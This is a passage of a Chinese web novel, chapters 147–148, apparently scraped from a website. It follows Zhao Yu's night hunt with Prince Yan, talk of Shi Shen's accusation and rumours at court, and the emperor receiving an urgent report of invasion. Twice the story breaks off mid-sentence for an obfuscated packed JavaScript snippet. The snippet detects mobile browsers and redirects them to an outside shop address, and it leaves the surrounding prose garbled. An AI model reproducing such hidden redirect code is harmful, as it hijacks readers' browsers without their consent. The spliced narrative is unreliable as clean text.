“我说呢!”陈官员咯咯一笑,“你们西北军没有被裁撤的时候是真威风,纵横西疆,所向披靡。恐怕在敦煌以西列土封疆都没人管。可那是从前!还有,这里是京师重地,不是你可公然抗命的瓜、沙、肃、兰诸州!” 这明显要激怒姬奉宁,可是他却异常沉静地应答,“陈大人,西北将士用命,保卫的是大郑的疆域,至于在敦煌以西列土封疆这样的言语,过于荒谬,同时也过于恶毒,这属于欲加之罪,在下记住了,回雍京如实上奏。” “你!……”那名陈官员方知,对付此人无可奈何。 此时,石慎抬头,看着姬奉宁身后不远不近处的赵毓。 而薛宣平忽然叫了一声,“妈耶!这不是那个在绮镇把土地贱卖给咱们的那个谁吗?” 绮镇的土地,一百年来都隶属随侯夫人娘家。而石慎的母亲侯夫人亲手控制它们也超过了三十年,即使当时石家一时手紧,被赵毓捡漏,石氏百年根基却没有毁。 当年赵毓找十三行周熙借银空手套白狼盘绮镇土地的时候,随侯石寰已经被押解进雍京。赵毓估摸着,石家在文湛手中支撑不过一个月!没想到,这一年过去,他居然能在绮镇亲眼看到衣冠楚楚的石慎。 “当年我说什么来着?”薛宣平有些得意,“随侯,人家那是藩镇,在北疆还自封为战神,石慎是圣旨册封的世子,名字写在大郑三十二侯府的名碟上。这爷俩生死攸关的当口,在当今天子手下都撑不过一个月?不能够啊!” 看来,…… 赵毓心说,——朝中涉北疆情形有变。 石慎则向赵毓这边走来,姬奉宁在赵毓身前一挡。 “郡王。”石慎压低声音说,“石某没有恶意,只是想送一封拜帖。”说着,他双手呈上一封白色的帖。“如果赵先生不想拿,郡王收下也是一样的。” 赵毓没动,而姬奉宁看着这封帖有些意外,伸手拿过去。 石慎深施一礼,才说,“在此地遇到赵先生真是意外之喜,不然,石某还得特地回雍京,拜请雍王殿下转交此信。” 这一封非常普通平常的拜帖,想邀赵毓一起狩猎。 只是下帖子的这个人,有些特殊。 ——燕王。 姬奉宁的父亲。 姬氏王族的大宗正。 雍京以北是绮镇,军事重镇也是粮仓,再向北快马走一天就驻有重兵,雍京北部第一道门户,镇守将军是天子心腹燕遂宁。 薛宣平之前从来没有踏足过这里。赵毓收下拜帖,他们几个快马从雍京与绮镇的南部边界,用了一天,到达绮镇的北部边界。伴随着傍晚的烟霞,薛宣平远眺,眼前是连绵不绝的山峦,与一望无际的草原。 马蹄前,是一条蜿蜒的细流。 薛宣平刚想恣意马踏清水,…… 忽然,赵毓高声喊了一句,“勒住缰绳!” 薛宣平手一紧,马头都被他手中的缰绳拉到高高抬起,长鸣嘶叫。 “老赵,你发什么猪瘟?!” “细流之外就是燕王封地。”赵毓,“外人非请勿入,否则,格杀勿论。”他拿着牛皮水囊喝了口水才对身后说,“奉宁,发令箭吧。” 一道传令箭自姬奉宁手中破空而升! 不一会儿,身着灰白色铁甲的十八燕王卫队从远处山峦脚下疾驰而来。 燕王府邸坐落在山巅峰峦之上。 这是最佳战略要地。 三面具是悬崖峭壁,只余下正门一条路,从山林草原之间逶迤而上,直通王府正门。 一夫当关,万夫莫开。 赵毓一行人进入王府修整,洗了把脸,补了些膳食。 掌灯之后,燕王一身猎装,点齐整了队伍,要出山围猎。他邀赵毓一起走。 薛宣平站在廊檐下,暗戳戳看着眼前这些人。他发现燕王与姬奉宁有些相似,年纪长一些,是个精悍的中年人,他的眼神尤其特别,在身旁兵士手中飘摇的火把中,像根冷冰冰的锥子。 姬奉宁在前,恭敬施礼,称了一声,“父王。” 而赵毓,也是收敛起了平时混不吝的性子,恭敬深深一礼,却称了一声,“王爷安好。” 燕王伸手,冲着赵毓递出一张弓,“拿着。” 赵毓却没动。 燕王,“不敢拿,还是不想拿?” 赵毓,“不能拿。” 燕王,“这是王族子弟围猎时候用的弓。百年硬木,配得是雍京制造局锻造的玄铁箭。我记得昔年你约徽郡王家那个小九在南苑下场的时候,射鹿,最喜欢用的就是这种弓。准头好,趁手。” 赵毓,“时过境迁了。” 燕王,“怎么,奉宁没跟你说明白玉牒的事?” 赵毓摇头,“已经说明白了,只是,……,时过境迁了。” 燕王此时微微点了点头,发出一个声音,这种语气,好像了然,却不认同,“你此时不接这张弓,可否想过,在这个廊檐下如何立足?” 赵毓又是一躬身,礼节上做了十成十,“愿闻其详。” 燕王,“王府这里是咽喉要地,我重兵镇守雍京北方门户,等闲人不许踏入我燕王封地。这个廊檐下,能安稳占有一席之地的具是世族公卿。如果你不是先帝长子承怡,仅仅是元承行一个商人,你和你身后的那个军奴,在我这里,如何自处?” 闻言,赵毓的眼皮垂了一下,没动。 燕王,“左手的伤,怎么样了?” 赵毓回,“还在修养,拉不开弓。” 燕王叫了他儿子,“奉宁,把这张弓递给你兄长。” 姬奉宁双手接过这张弓,就捧到赵毓面前,可是,赵毓还是没动。 燕王,“当年,你带走奉宁的时候,他才十二岁,先帝都有些舍不得,说,宁儿太小,没有必要到西北边境吃苦,虽然他不是长子,无法被册封为世子,可是,一个郡王的爵位可以稳稳落在头上,就算人不长进,无法建功立业,身为王族子弟,此一生依旧是高爵厚禄、富贵荣华。” “承怡,这也是当年先帝对你的期望,挑拣一块富庶的封地,不求你长进,但求你平安,无忧无虑,鲜衣怒马。” “可是,下场呢?” 赵毓眼皮又是一垂,掩盖了情绪。 燕王,“父母之爱子,则为之计深远。在岐山神宫为你保留了玉牒,就是先帝作为人父,为你计深远。” 此时,赵毓方才伸出双手,恭敬从姬奉宁手中接过那张弓。 燕王,“承怡,被自己昔年的侍宠伤到拉不开弓,不是什么好名声。以后,不能再这样了。” “是。”赵毓点了点头,“知道了”。 “走吧。”燕王,“我让人先到前面的山谷驱赶猎物,今晚,就算猎不到鹿,几只兔子和山鸡还是能落袋的。” 薛宣平眼见他们要走,连忙说,“老赵,我也跟你去!” 燕王看了看他,“倒挺忠心。奉宁,给他找匹马。” 燕王封地这里,外人不能进来,他们自己人又不会涸泽而渔,因而是非常肥美的猎场。些许一些王府侍从手中的火把,就可以把山林之间的小兽驱赶出来,蹦跳呼叫,很是热闹。 不一会儿,薛宣平都猎了一只大山鸡。 赵毓知道,燕王大老远把他拎过来,不仅仅是给他一张弓的事儿,不过,既然弓在手,尝试猎一些小兽也好。他在河谷旁看到一只黄鼠狼,于是左手执弓,右手从箭筒中抽出一根细箭,搭在弓弦上,拉弓!……没有准头,一箭射歪,黄鼠狼抱头鼠窜。 赵毓又想了想这两天绮镇的事情。当时,石慎贱卖羡云飞与土地,一言不合就命十几个人的利箭对准亭子中的赵毓与文湛,另外三个人的箭直接对着薛宣平。而文湛,则从后背取下一张制造局的细弓,三支细箭的尖端全部对准石慎,近距离的搏杀,才使得石慎最终乖乖拿出地契。 ——果然,石慎还是不甘心呀。 半夜时分,燕王猎了几只鹿和一些兔子山鸡之类的东西,就吩咐众人在河谷旁的卵石滩上烧篝火修整。 “我听说,绮镇那里,一些当地的佃农雇农与一些贫民一直在闹,说你想要把世代耕种的小民百姓赶尽杀绝,要揪你去见官。结果自然不能得偿心愿,于是就聚众闹事,说你是贵胄,大郑是官官相护,没有天理王法。”燕王问赵毓,“这是怎么回事?我以为,你做不出这种事。” 赵毓叹口气,“绮镇是我从随侯世子石慎手中买下来的。” 燕王点头,“这我知道。可是,天下好的土地那么多,你怎么偏偏就挑中这一片地?麻烦。” “绮镇就靠近雍京,近水楼台。”赵毓,“我想着,绮镇不能再落在权贵手中,让朝廷没有税银可收,同时,也不能让人再数万亩数万亩的兼并土地,致使丰年百姓手中都没有余粮,所以,才做了绮镇这笔生意。” “其实,那里一直有争端。我将土地分割成五亩一块,卖给农户,同时,让元承行出借银两,低息,这样,购买土地的农户只要认真劳作借钱买地,数年甚至数十年一点一点积攒还钱,平时吃喝有了,最终,也能拿回自己耕种的土地。但是,一直有人在背后怂恿,许诺,闹,事成之后,羡云飞以北全部分割给他们。” 燕王一听就明白了,“常年的劳作与白得土地,这二者之间,对于一些目光短浅又贪恋的人来说,倒是不难抉择。” 赵毓,“元承行一直有专人处理此事,王叔如果有任何事情不明,可以问询薛宣平。” 薛宣平连忙凑过来。 燕王看了看他点头,“你元承行的大掌柜,雍京城里也是一号人物。” “王叔就为了这事,召我过来封地问话?”赵毓却有些不明白,“绮镇牵涉随侯,我不敢掉以轻心。所以我那里有关绮镇的地契,账目,这段时日来各色闹事人的口供,还有方方面面的文字,全部归档,雍京城内,各方人马,有任何疑问,一调档,一切事情都清爽。” 燕王却说,“是啊,只你我二人言语之间就能分辨明白的事,何须间隔山水邀你过来问话?” 此时,姬奉宁从篝火那边走过来,身后是两名亲兵,手中捧着大木盘子,盛放着烤好的野味儿和一些香烤河鱼。 燕王一抬手,做出邀君品尝的手势,然后说,“我常听奉宁说,你们当年在拉莫孔雀河抓鱼,燃篝火,背对着戈壁的黄沙,支起来红柳木架子,慢慢翻烤,那些珍贵的西疆香料,胡椒、茴香、孜然、豆蔻什么的,不要钱一般乱撒。烤得鱼倒是焦香美味,他一顿能吃五、六条。” 赵毓听着也是一笑。 燕王,“当年,能让奉宁吃五、六条肥鱼的,就是薛先生的手艺吧。” 闻言,薛宣平赶忙谦虚几句,“那是郡王不嫌弃。” 燕王却说,“当年他没出家门的时候,也是娇生惯养,食不厌精脍不厌细,以至于刚到西北差点饿死,是薛先生有心,每日专门为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729004|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他做细面,从浆水到羊肉卤,换着来,这才吃饱。” 薛宣平心说,——那还不是你家孩子可怜?当年老赵拿人家当门神,孩子老实,乖乖做事,每日像个木头棒槌一般戳着,再加上抽条,越发的细瘦,要是再吃不饱饭,就成纸片了。那个时候,没准儿真被老赵贴大帐行辕门板上,让他连过年的剪纸都省了。 口中却是,“应该的,应该的。” 于是,他得到了姬奉宁亲手拿过来的一条兔子腿,上面香料满撒。 有亲兵想要递给赵毓一条鱼,他一摆手,“夜了,我不吃,怕积食。” 燕王看着赵毓的右边整条胳膊,苍白细瘦,皮很薄,火光映照上去,手腕处甚至有些极细的青蓝色血管在蜿蜒缠绕,像极了名贵的瓷,藏于大正宫深处,不见天日。——这样的手,居然能纵马驰骋,弯弓引箭? 他伸手拿过那条鱼,吃了两口放一旁,“石慎以你身为贵胄,不顾大郑国法侵吞百姓田土激起民变的重罪,将你告到御前。” 赵毓,“……” 吧嗒。薛宣平手中啃了一半的兔子腿,掉落在卵石滩上。 ——这,这是抄家灭族的大罪吧? 他又看了看赵毓的脸蛋子,发现他的表情却是极其古怪,——不像恐惧,也不像焦虑,更像是,意外,还有,……,看着蠢货自己把自己蠢死的莫名其妙! 于是,薛宣平赶忙把兔子腿捡起来,吹了吹土,继续啃。 燕王,“你不用一脸的莫名。不遗余力排除异己,这种事,在雍京见怪不怪。” “不,我不是这个意思。”半晌,赵毓像是搜刮肚肠,终于找到一条合适的言语才说,“怎么,石慎能面圣了?告我的黑状是他在微音殿面呈圣上的?圣上召他觐见了?” 燕王没回答,相当意外,开口问,“此时,你应该担心的,难道不是如何准备御前奏对吗?” 赵毓却说,“如果当真要进行御前呈奏,旨意应通过司礼监宣达。可是,司礼监从未找我问询。再说,我身份晦暗不明,按理说,根本没有进微音殿御前的资格。” 说着,他又嘀咕,“难道陛下当真见石慎了吗?不能够呀。” 燕王更加意外,“你怎么知道,圣上不肯见石慎?” 赵毓笑了两声,跟个半夜盘旋的老鸹似的,“我无法面圣,是因为我身份受限,这人尽皆知。可是,石慎,他堂堂一个随侯世子,随侯非等闲,北疆功臣,名列大郑三十二侯府,身家性命压上,要扯我下水为自己脱罪,结交了半个雍京城的权贵,最后的最后,依旧无法面圣,这就有意思了。王叔,关于石慎,关于绮镇,我根本不用准备什么御前奏对。我无法面圣,可是圣上也不见他。我与石慎,我们两个是根本见不到陛下面的人,还操什么心去御前吵架?这不是闲吃萝卜淡操心嘛。” 燕王就看着他,没说话。 赵毓,“不去御前,他告我的这些事儿,就无法在一时之间蒙蔽圣听。只要圣上没有当庭下旨问罪,让我无法申辩,真相,两下就能查清楚,这也没什么可担心的吧。” 燕王斜着眼看他,忽然说,“你知道督察院那些言官说你什么?” 赵毓认真想了想,“耳根子软?” 燕王,“还真是一如既往的没有半分自知之明。” 赵毓,“……?” 燕王,“性格乖张,行事跋扈。” 赵毓一挑眉,“我?” 燕王,“奉宁与我说了,今日黎明,他与绮镇那个陈姓官员在雍京北界对峙,人家说那话,你没听见?人家说你西北军,公然抗命是成例,还说你,在敦煌以西列土封疆都没人管。承怡,你自己听听,这是什么名声?” 赵毓,“……?” 燕王,“这十几年,之前的御史台也好,如今的都察院也罢,这么弹劾你的奏折不再少数,要不是左都御史柳密刚正不阿,为国保贤,将这些弹劾折子全部压下,一旦让这些言语在御前盘旋,积毁销骨。陛下至圣极明,可是,再圣明的君心,也禁不起这么多年的磨泡。还有,幸亏,柳密与你并不相识,也没有一丝半毫的联系,不然,他公正严明做事情,也要被人说成是你培植的党羽了。” 赵毓张了张嘴,最后也只能挤一句,“陛下圣明,柳总宪公道。” 燕王,“石慎此事,目前伤不了你分毫,可你也得吸取教训。这种事,有一就有二,一旦开了头,麻烦也会接踵而至,目前你能做的,就是谨言慎行,身边也要壁野坚清。” 赵毓知道这是长辈语重心长,自然领情,“是,侄儿记下了。” “还有。”燕王问,“你君前奏对如何?” 赵毓,“什么君前奏对,什么如何?” 燕王,“就是问,你在御前,呈奏的能力如何?” 赵毓,“我从未在御前呈奏过。” 燕王意外到有些惊讶,“这十四年来,你从未在微音殿面圣?” 赵毓点头,“嗯。” 燕王,“那从西北回京述职怎么做?” 赵毓,“有我老丈人尹部堂呀。他本身就是科甲正途出身的进士,文官的底子,在微音殿御前从未出错。” 燕王深深叹口气,“我终于知道,他们以石慎绮镇为由头,究竟想要做什么了。他们是想,把你揪到御前。” 赵毓,“揪我做什么?” 燕王,“陛下登基改元元熙以来,你从未在微音殿出现过。你对御前所熟知的全部,具是先帝凤化朝那一套。可是,为人子与为人臣下,天渊之别。很多话,在你父皇面前能说,在陛下面前就不一定能说。他们把你揪到陛下御前,你必然会出错。这些就是漏洞,也是把柄,一个不慎,可能就是人家处心积虑要找的要命之所在。” 赵毓脸色又变得异常古怪。 薛宣平感觉,此时的赵毓,就好像小老婆家里做丧事,跑过去凑热闹。想要大哭吧,委实成了笑料;不大哭吧,似乎又对不起小老婆的柔情小意,别再因为这种事弄不清爽,晚上无法脱鞋上炕搂着小老婆睡觉,于是长吁短叹,脸蛋子上也像是面酱,豆酱,芝麻酱,酱油醋啥的来回乱刷,当真是说不清楚是个什么表情。 147. 147 147 一时间无语,偌大的旷野,只有河水流淌的声音,篝火燃烬木柴的声音,还有一众人默默吃食的声音。 “奉宁,那第二件事,你与你兄长可说明白了?” 听燕王突然发问,姬奉宁却说,“兄长此事可没有我置喙的余地,我不敢开口,还需劳烦父王亲自询问。” 赵毓却笑了,“在绮镇的时候,我听奉宁说了一半的话,我知道王叔有重要事情要问我,虽然不知道有何事让奉宁也三缄其口,不过,我想时至今日,此时,王叔与我应该也没有什么是不能直言的了。” 燕王隔着篝火看着他,又叹了口气,“你身边那个新宠。” 薛宣平倒是一愣。他明显感觉到赵毓情绪不太对劲。之前,燕王与他说了那许多事,都是关乎身家性命的,可是赵毓一直很平和,直到方才,他一听到燕王口中“新宠”二字,周身似乎潆绕了一股杀气,即使异常淡薄,却依旧是杀气。 那个人是他的逆鳞。 旁人不要说动,碰都不能碰。 赵毓,“王叔怪我与男人纠缠?” “不是。”燕王则摇头,说,“尙南风,也就是个卧榻之上闺房之中的乐子,当年先帝在的时候,都不曾因为此事约束你,我更不会越俎代庖。再说,这种风月,又不是什么咽喉要事,你不是那些清流,需要所谓的身正清白安身立命。天家子弟富贵种,莫说一个,喜欢这样的,买十个放在屋里都没事。” 薛宣平,…… 他脑子中特别诡异、特别具体地出现了十个赵毓小白脸挤在元承行花厅时候的情景,——热热闹闹,叽叽喳喳,一个一个都对老赵殷勤备至,挑鱼刺的挑鱼刺,喂饭的喂饭,喂酒的喂酒,还有捶肩打背,捏腿的!顿时,吓得他后脖子全是鸡皮疙瘩,全身颤抖,手中的烤鱼掉落河滩。 赵毓则不解,“既然是我闺房琐事,为何让王叔如此忧心?” 燕王极其认真,“那个人,到底是谁?” 赵毓则反问,“他是谁,很重要吗?” 燕王,“当然重要。如果那人只是你街边买来的,多问一句,都算我是好事之徒,可是,我怎么听说,他是世家子弟?” 赵毓,“……?” 燕王,“你煞气大,旁人不会轻易开口问,但是流言已经满雍京了。” 赵毓,“不会督察院还盯着我这事儿吧?难不成,我每天晚上和谁睡觉,他们都要插手?” “谁管你这?”燕王,“如果言官只盯着你私德不休,就说明他们在别处也做不出什么文章,这是好事。我担心的是,……” 无人言语,安静了一下子。 燕王又说,“我大致问了一下,此人不是公卿家族的,并且又异常文气,是兰芝社世家子弟?” 赵毓,“……??” 此时没有薛宣平插嘴的份上,不过他却在心中腹诽,——老赵眼高于顶,怎会看得上那帮子酸文假醋? “承怡。”燕王,“江南兰芝社,是大不如从前,但是他们横霸朝纲数百年,其势力盘根错节,制衡他们,已经需要耗费几代人了,更不要说铲除,而且,也永远铲除不了。如果你那位新宠当真出身江南世家,你这般行为,就是折辱兰芝社,更是折辱读书人,会招致大祸的。太子生母家族桓侯姜氏如何倾覆,你不会不知道吧。” 赵毓,“谋逆,被灭族。” 燕王,“灭族大罪的导火线是什么?” 赵毓,“不知。”——反正,不是姜家那个小侯爷抽了他一鞭子。 燕王,“姜氏桓侯强纳一不得志的举人之女为妾。” 赵毓这才点了点头,“有些印象。” 燕王,“举人是功名,即使还不是进士,也是科甲正途出身的读书人。他就算是穷,就算不得志,就算没有为官,也是大郑四民之首,家中三间草屋也可坐北朝南。桓侯世代公卿,强纳举人之女为妾,就是与读书人为敌。承怡,前尘祸事历历在目,即使雍京外镐水之滩的血已经干涸,却不能忘记,绝对不能重蹈覆辙。” 赵毓,“我不会与兰芝社在这上面纠缠不清,这点分寸,还请王叔信我。近日,沈熙载欲将嫡长女许我为继室,我推了。” “沈熙载的嫡长女?”燕王冷笑,“那是有资格选为皇后的女子!他们这些人啊,唉。” 赵毓则笑,“王叔也说了,兰芝社横霸朝纲数百年,眼界、决断力与手段,自然不同一般。” 赵毓到底还是没有说明白他那位新宠的身份。 燕王也明白,“你不愿意说,就不说吧。如此人物,若是攀附,后果不会很好,你可想过当年的定国公?” 赵毓,“我非裴檀。” 燕王,“好,还有,你如果想用这个人,这种风月事,在圣上面前扮演和光同尘、韬光养晦,也是不会如愿的。” 薛宣平这下子终于听到自己听懂的话了! 对! 没错! 薛宣平记得自己曾经对赵毓说过,“我看过几个话本,里面都说,权势滔天的人都懂得韬光养晦,和光同尘。” “虽然我弄不明白你和今上的关系,不过你不是凡人,甭管你是先帝爷亲生的还是他怕没儿子绝种儿抱养的,你都不是凡夫俗子了。老赵,你别这么看着我,祈王不是龙种这种事儿,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729005|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙儿都知道。不管怎么说,你和今上总归是沾亲带故,你们是兄弟。我估摸着皇上他老人家暂时也容得下你。” “要是你再贪恋男|色,和这个小白脸整日厮混,……,实话实话,这个小白脸的确有姿色,你都不知道,你一见到他,两只眼睛珠子冒贼光,一脸饿狗见了大肉包子的馋样,特别丢人!” “可是你只有这样才能让皇上他老人家放心,我觉得,你做得对,这样稳当。” 赵毓当时怎么回答来着? 好像,他什么都没有说,就是用手中的纸卷敲了敲自己的脑袋。 一切尽在不言中。 今天听燕王这话音儿,似乎,老赵这一招,不管用? 赵毓回答,“我从未想过在陛下面前扮演什么意图藏拙。” 燕王倒是意外,“你不怕?” 赵毓,“兔死狗烹,鸟尽弓藏吗?” 这个问题过于犀利而危险,燕王自然不会回答。 赵毓继续逼近了一步,“难道,在王叔心中,陛下就是一个舞弄权术、刻薄寡恩之徒吗?” “当然不是,可……” 燕王想着,到今天这一步,这句话,无论如何,也要说。 “他是大郑的帝王。” 帝王,就有帝王心术,就有帝王的权谋,就有帝王的取舍与冷酷。 成大事者,至亲可杀! 赵毓,“王叔也知道,我自小在东宫读书,与陛下一同长大。” 啥玩意儿!!! 薛宣平直接懵了。他下意识用手摸了摸下巴,——果然,张到极大,差点又脱臼! 他一直以为赵毓就算是王族,也是一个不得宠的,没爹没娘的小白菜儿,在后宫被人欺负,吃不饱穿不暖。当然,虽然老赵自己也说过,他曾经一年做衣服的钱就是白银八十万两,顶得上西北几个月的军饷,可是,这个说法实在太陌生了。薛宣平总是觉得,赵毓很可怜,最后还因为不是老皇帝的亲生儿子被扔到西北战场那种生死之地。 他就算是想破了天,也没有料到,原来老赵竟然与当今皇帝一同读书?这,……,这是什么石破天惊的活见鬼? “善战者,无智名,无勇功。” 赵毓,“外人不懂,以为如今清平盛世只是寻常。可,在我看来,陛下雄才伟略堪比大郑历代圣王。” “我知王叔善意,还请王叔安心。” “至于王叔问的那人,……” 很长一段时间的静寂,赵毓才说,“他并非公卿,也非兰芝社,我没勉强,他非攀附。王叔,我半生孤寒,生离死别,如今战后余生,有他相伴,夫复何求。” 148. 148 148 赵毓,“王叔此番召我前来,只是为了问我这些锁事?” “琐事,……”燕王笑道,“到也不全是。我邀你过来,是打猎。” 赵毓,“南苑一样可以打猎。” 燕王,“怎么,如此关乎我姬氏和未来战局的事,不值得我们叔侄在河谷一叙?” 赵毓就是听着。 燕王,“防微杜渐。” 赵毓却问,“未来战局?” 正在此时,一名燕王亲兵尽快冲到篝火面前,声音撕劈,“王爷,定国公八百里加急军报,传令兵士已经进燕王封地冀淩山谷!” “好!”燕王一拍大腿,“情况如何?” “从大鲜卑山北麓到这里,跑死三匹快马,传令兵士也濒临昏迷。我们已经接过军报,备好快马,换上我们的令旗官。” 燕王点头,“按原定计划,从冀淩走西路,取道封地一线天,直接入雍京!” “是!”那名兵士得令,极迅速去传令。 “北境军报一向走东路!”赵毓,“王叔,八百里加急事关家国倾覆的大事,为何绕道?” 燕王冷笑,“那就要问问,为何绮镇在此时乱了。” 赵毓,“……??!!” “陛下密旨,命我接定国公军报之后,即刻返京。” 随后,燕王着人灭篝火,“我不能耽搁,承怡你怎么着?我知道你三天没睡,要不,让奉宁陪你在封地修整几天?” “不。”赵毓摇头,“我也回京。” 燕王点头,随即命众人整装待发。 只是,在赵毓完全没有防备的时候,忽然问他,“承怡,回雍京这三年,你觐见过陛下吗?” 赵毓则说,“正式觐见不曾,私下见过。” “果然,……”燕王,“咱们也走西路,全是我封地的山麓,俱是一线天的谷地,旁人不敢走。我们比军报自然慢一些,可是,最迟后日半夜,应该也可到雍京。” 大正宫,鹧鸪殿。 如果赵毓不在,文湛通常会睡得晚一些,早起一些,整夜睡眠通常不过两个时辰,毕竟现如今政务纷杂,军情紧急;可是,如果赵毓在宫中,他怎么也要多陪伴他一些,对于他自己来说,即使无法弥补深渊一般失去的十年,至少,可以把眼下的日子过得更像个活人一些,在这九重宫阙之内,也是另外一种穷奢极侈。 子夜,文湛方才安置,半个时辰之后,意识逐渐沉静。 此时,从宫门外一层一层报消息过来的小内监,一刻也不敢耽搁,脚步极轻,却极快地到值夜的大太监柳从容面前,轻声道,“北境,定国公八百里加急军报,由燕王的卫兵递送进京,此时已经到宫门外,是否呈报微音殿?” 几百年来,大郑军情惯例使用“六百里加急”。赵毓十年在西北,连这个用得也少。很多事情要么重,但是不急;要么急,但是不重。而且西疆远隔万里,所谓将在外君命有所不受,他作为征西统帅,可以便宜行事,所以紧急军报都是“四百里加急”,通常的军报就是普通兵部勘合,连同西北奏折一同进京,一昼夜走个三百里就不算慢。西疆彻底平复战乱之后,用了一道“六百里加急”将捷报递送雍京,对于赵毓来说,已经算是破例中的破例了。 上次皇帝与赵毓在岐山,定国公的军报事关北境诸藩想要裂土的倾向,用的是“六百里加急”。 些许数日之前,“高昌王殷忘川兴兵犯境,业已攻破北镇,直取大鲜卑山!”的军报,突破了大郑北境数百年的防线,方得定国公裴檀,北境统帅徐绍,蓟辽总督白策,三道奏折八百里加紧,如今又是这道极为罕见的“八百里加急”,奏报又是何事,柳从容心中打突。 “我去奏请主上。”柳从容吩咐道,“军报直接拿到这里来。” “是。”领了命,那名小内监连忙下去。 而柳从容进内殿的时候,文湛已经醒了,就坐在床边上,一手支着额头,用力捏了捏,伸手从旁边跪着侍奉的小内监手中木盘上拿过一个瓷盏,喝了一口,眉头微微一皱,又放了回去。 “主子。”捧着木盘子的小内监连忙说,“这是王爷离京之前特别吩咐为主上准备的酸梅汤,太医局谢大夫特拟的方子,加了一些祛暑清火、补中益气的药材,知道主子不喜甜,熬制的时候没用冰糖,最后调的蜂蜜,一直用冰镇着。” 闻言,文湛方再拿起瓷盏,将那份过于他来说还是有些过于甜腻的酸梅汤一饮而尽,便吩咐,“更衣。” 小内监连忙退下,柳从容自己进来,拿了缂丝衣袍,服侍皇帝。 这段时日,几乎就是内忧外患,像这种深夜被北境的军报、南方的奏报惊醒的情形也不少。子夜这个时候能叩开宫门送进来的消息左右不会是好事,多令人心悸: ——军饷,粮食,人命,藩镇,兰芝社,雍京诸王,北境烽烟。 不能缓,全部急如星火。 只是,文湛一出生便被册封为太子,十四岁听政,十六岁监国,十九岁登基,如今执政十四年,自然知道临大事必须沉着冷静,克制已经深入骨髓。柳从容服侍他更衣,发现皇帝呼吸没有丝毫紊乱,甚至连气息都镇静到冰冷,只是,留存一息赵毓吩咐熬煮的酸梅汤的药香,带着几乎无法察觉的蜂蜜的甜美味道。 等文湛穿好衣服,洗了脸,坐在书案前,定国公的军报已经送到,是一个黑色的木匣子,上面封着裴檀的紫漆大印。柳从容撕开封印,拆除油纸,取出一封白色的奏折,双手呈过来。 文湛打开一看,……!!! 此等消息,数百年未见! 饶是他近二十年在政务上严苛到几乎极致的克制修为此时也毁于一旦! 奏折被拍在紫檀木大案上的声音,将柳从容吓得直接跪地。 ——辽东肃慎氏部落尽数附逆,如雍京再无援兵,殷忘川军队十日内即可抵达山海关。 柳从容屏住呼吸了很久,方听见,…… 皇帝的声音从木案后面传过来,特别轻,就像黎明之前的烟水一般,“召,内阁,兵部,户部,微音殿议事。” “是。”柳从容连忙起来。 结果还不容他屈身后退,就听见皇帝又说,“召,太子,雍王,微音殿听政。” “……”柳从容愣是怔了一下,没有立刻应声。结果文湛的眼风扫过来,他方才意识到,自己那一愣,像是在质疑皇帝的旨意,额头出了一层冷汗,立刻惊醒,连忙低头,“是。” “还有,……”文湛的手指在木案上随意敲了两下,“柳密。” 柳从容,“是。” 文湛,“今天微音殿笔墨谁当值?” 柳从容,“翰林院,方融。” “换人,让梅怀瑾过来。”文湛起身,“承怡很喜欢他家那位谢夫人,朕也想看看,这位谢夫人的夫婿,除了用她扯了个’忠臣逆子’的皮之外,可有真才实学?” “是。”柳从容垂手一旁。 文湛,“燕王进京之后,不用去贤良祠,直接入微音殿。让他把他那个儿子,琅琊郡王姬奉宁,也一并带进来。” “是。” “既然来,就一起来。”文湛,“召,徽郡王世子姬旻铉,吉王世子姬安沣,敬和郡主那个儿子宗政文辩。” “是。”柳从容从冷汗中回了神,想起来,自己是司礼监掌印,对政事有建议之责,于是问了一句,“陛下是否召随侯世子石慎觐见?他父亲随侯石寰被押回雍京之前,毕竟镇守北境多年,召石慎进来,问问北境实情,聊胜于无。” “石慎?”文湛冷笑,“召他进微音殿,朕是听他喊冤,还是听他哭穷,又或者是听他在御前诬陷承怡?” 柳从容连忙认,“奴婢失言。” “无妨。”文湛却说,“你这话倒是提醒朕了。石慎此人,朕在绮镇见过,在微音殿就不想再见。不过,此时他身后之人,还是可以在微音殿现现行。宣召,兰芝社沈熙载。” “沈熙载一贯谈玄。”柳从容,“主子此时见他,怕也问不出什么。” 文湛,“沈氏已将嫡长女的庚帖送至承怡手中,如此图穷匕首见,可见此时,他也没什么心思玄心妙赏。如果他还是死不悔改,当真成了微音殿的篾片相公,朝野笑柄,到那时,既然他自甘堕落成弄臣,就用他取个乐好了。反正这几天,微音殿定会是一片愁云惨雾,有他不合时宜背背《论语》,那群外表忧国忧民的大人们没准还能多吃一盅汤。” 柳从容,“……” 此时,他心中有个吊诡的想法,——仿佛,眼前之人不是皇帝,而是赵毓! 这两位,是在一处久了,越来越像;还是,本来就像,才能在一处,这么多年? 大正宫的微音殿。 与天承殿相比,这里并不宏伟,但依旧是朱红色的墙、黑色琉璃瓦。殿外开阔,没有树木,没有生灵,仅是站着几排木雕石像一般的御林军。 夜幕之下,格外肃穆。 这是皇帝处理机要大事的地方。 王朝的纪要中枢。 独有一份峰峦叠嶂的险峻。 柳密奉诏觐见,一小太监提灯引路。他入禁宫之时正是丑时一刻,黎明之前最黑暗的阶段。 开始下雨。 身后随侍的内宦连忙给他撑了一把伞。 